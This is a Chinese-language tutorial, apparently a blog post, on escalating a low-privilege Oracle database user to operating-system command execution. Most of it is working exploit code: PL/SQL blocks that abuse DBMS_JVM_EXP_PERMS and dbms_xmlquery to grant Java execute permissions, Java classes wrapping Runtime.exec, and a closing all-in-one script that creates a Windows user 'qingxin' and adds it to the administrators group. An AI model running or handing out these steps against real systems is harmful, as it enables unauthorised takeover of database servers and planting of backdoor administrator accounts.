Oracle數據庫提權(dba權限執行系統命令)

 

0x01 提權準備

這裏咱們先建立一個低權限的用戶test

 

SQL> conn sys/admin123@orcl as sysdba;

 

已鏈接。

SQL> create user test identified by test;

 

 

 

而後查看一下權限

SQL> select * from session_privs; PRIVILEGE CREATE SESSION

 

如上顯示，test沒有JAVA權限，也只有CREATE SESSION權限

 

咱們若是要經過數據庫執行系統命令，那麼首先要提高數據庫用戶的權限。

 

 

 

咱們首先要獲取java權限

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 

 

若是想要執行任意代碼的話還須要額外得到java.lang.RuntimePermission權限

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission', 'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission', 'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 

 

0x02 JAVA權限執行命令

 

用咱們的test賬號登陸

 

 

一、首先咱們建立java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

 

 

 

二、而後咱們獲取java權限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

 

 

3、建立咱們用來執行命令的函數

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

 

四、執行命令

select LinxRUNCMD('whoami') from dual;

 

 

0x03 存儲過程執行命令

 

若咱們有create procedure權限，而不僅是create session這麼苦逼時，咱們能夠建立一個java class而後用建立一個過程來進行調用

 

 

一、首先建立一個java class而後用procedure包裝它進行調用

create or replace and resolve java source named JAVACMD as import java.lang.*; import java.io.*; public class JAVACMD { public static void execmd(String command) throws IOException { Runtime.getRuntime().exec(command); } } /

 

 

 

 

二、建立調用的包

create or replace procedure MYJAVACMD(command in varchar) as language java name 'JAVACMD.execmd(java.lang.String)'; /

 

 

三、執行咱們的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

 

 

會報錯是由於代碼中沒有捕獲異常，咱們再執行一次便可

 

 

 

 

附上一把梭哈

 

 

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*;public class JAVACMD {public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } };/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add'); exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');